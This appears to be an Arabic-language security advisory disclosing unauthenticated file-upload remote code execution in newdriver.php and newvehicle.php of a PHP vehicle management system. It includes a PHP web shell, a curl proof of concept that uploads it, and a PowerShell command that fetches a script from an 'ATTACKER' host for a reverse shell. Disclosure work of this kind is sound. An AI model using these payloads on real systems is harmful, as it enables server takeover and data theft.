نظام إدارة المركبات في PHP - تنفيذ تعليمات برمجية عن بُعد غير مصادق عليه عبر رفع ملف في newdriver.php

معلومات الثغرة

الوصف

نظام إدارة المركبات في PHP الإصدار V1.0 من code-projects.org عرضة لثغرة تنفيذ تعليمات برمجية عن بُعد غير مصادق عليها عبر رفع ملف غير مقيد في newdriver.php (وبالمثل في newvehicle.php).

يوفّر التطبيق نموذج تسجيل «سائق جديد» مخصصًا للمسؤول فقط في newdriver.php ويتضمن حقل رفع صورة. ومع ذلك، لا تنفذ هذه الواجهة أي تحقق من الجلسة — إذ يمكن لأي مهاجم غير مصادق الوصول إليها مباشرة دون إعادة توجيه إلى صفحة تسجيل الدخول. علاوة على ذلك، يقبل حقل رفع الصورة أي نوع ملف بما في ذلك ملفات PHP، دون أي تصفية للامتدادات أو التحقق من نوع MIME أو فحص المحتوى.

يمكن للمهاجم:

1. زيارة newdriver.php مباشرة دون أي جلسة أو بيانات اعتماد
2. إرسال نموذج السائق مع قشرة ويب PHP كـ«صورة»
3. يتم حفظ القشرة في دليل /picture/
4. الانتقال إلى القشرة المرفوعة وتنفيذ أوامر نظام تعسفية على الخادم

يؤدي هذا إلى تنفيذ كامل للتعليمات البرمجية عن بُعد بصلاحيات عملية خادم الويب.

سلسلة الثغرة

Unauthenticated HTTP Request
        ↓
newdriver.php (no session check)
        ↓
photo field accepts .php file (no file type validation)
        ↓
Shell saved to /picture/web_shell.php
        ↓
GET /picture/web_shell.php?cmd=whoami
        ↓
RCE — arbitrary OS command execution

خطوات إعادة الإنتاج

الخطوة 1 — تأكيد الوصول غير المصادق إلى newdriver.php

افتح متصفحًا جديدًا بدون جلسة (نافذة خاصة/تصفح خفي). انتقل مباشرة إلى الواجهة:

http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php

يتم تحميل نموذج السائق الجديد بنجاح دون أي فحص للمصادقة ودون إعادة توجيه إلى تسجيل الدخول.

الخطوة 2 — تجهيز قشرة الويب PHP

أنشئ قشرة ويب PHP بسيطة لتنفيذ الأوامر:

<?php system($_GET['cmd']); ?>

احفظها باسم shell.php (أو أي اسم ملف بامتداد .php).

الخطوة 3 — إرسال النموذج مع قشرة الويب كصورة

املأ حقول نموذج السائق بأي قيم واختر قشرة الويب PHP كصورة للرفع:

Driver Name:        test
Mobile:             1234567890
Driver Joining Date: 2026-05-19
National ID:        test
License No:         test
License End Date:   2026-05-30
Driver Address:     test
Photo:              shell.php   ← PHP webshell uploaded here

انقر فوق إرسال الاستعلام.

الخطوة 4 — تأكيد رفع القشرة

يستجيب التطبيق برسالة «اكتمل التسجيل!» — مما يؤكد أن قشرة PHP تم قبولها وحفظها دون أي تحقق.

الخطوة 5 — تنفيذ أوامر تعسفية عبر القشرة المرفوعة

انتقل إلى القشرة المرفوعة في دليل /picture/ ومرر أوامر النظام عبر معامل cmd:

http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami

ينفذ الخادم الأمر ويعيد الناتج:

desktop-g1i9np3\dell

الخطوة 6 — أمثلة إضافية على تنفيذ الأوامر

# Read sensitive files
http://TARGET/.../picture/shell.php?cmd=type+C:\xampp\htdocs\VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\newdriver.php

# List web root
http://TARGET/.../picture/shell.php?cmd=dir+C:\xampp\htdocs\

# Full reverse shell via PowerShell
http://TARGET/.../picture/shell.php?cmd=powershell+-c+"IEX(New-Object+Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"

الواجهة المتأثرة الثانية — newvehicle.php

توجد الثغرة نفسها في newvehicle.php. يمكن للمهاجم غير المصادق الوصول إلى نموذج إضافة مركبة جديدة، ورفع قشرة ويب PHP عبر حقل صورة المركبة، وتحقيق تنفيذ التعليمات البرمجية عن بُعد بالطريقة نفسها.

http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newvehicle.php

تشترك الواجهتان في السبب الجذري نفسه: عدم التحقق من الجلسة وعدم وجود قيود على رفع الملفات.

إثبات المفهوم عبر curl (سطر واحد)

curl -s -X POST \
  "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php" \
  -F "dname=test" \
  -F "mobile=1234567890" \
  -F "djoiningdate=2026-05-19" \
  -F "nid=test" \
  -F "licenseno=test" \
  -F "licenseenddate=2026-05-30" \
  -F "daddress=test" \
  -F "[email protected];type=image/jpeg" \
  && echo "[+] Shell uploaded" \
  && curl -s "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami"

الأثر

• تنفيذ تعليمات برمجية عن بُعد غير مصادق عليه — يمكن لأي مهاجم مجهول على الشبكة تحقيق تنفيذ كامل لأوامر النظام
• اختراق كامل للخادم — وصول للقراءة/الكتابة إلى جميع الملفات وبيانات الاعتماد وإعدادات قاعدة البيانات
• لا يتطلب أي تفاعل — استغلال مؤتمت بالكامل في طلب HTTP واحد
• واجهتان متأثرتان — كل من newdriver.php وnewvehicle.php عرضتان للثغرة

الملفات المتأثرة

معلومات البائع

• الصفحة الرئيسية للبائع: https://code-projects.org/vehicle-management-system-in-php-with-source-code/
• التحميل: https://code-projects.org/vehicle-management-system-in-php-with-source-code/

اكتشف بواسطة

سيد عماد الدين علوي (imad alvi)
باحث مستقل في مجال الأمن السيبراني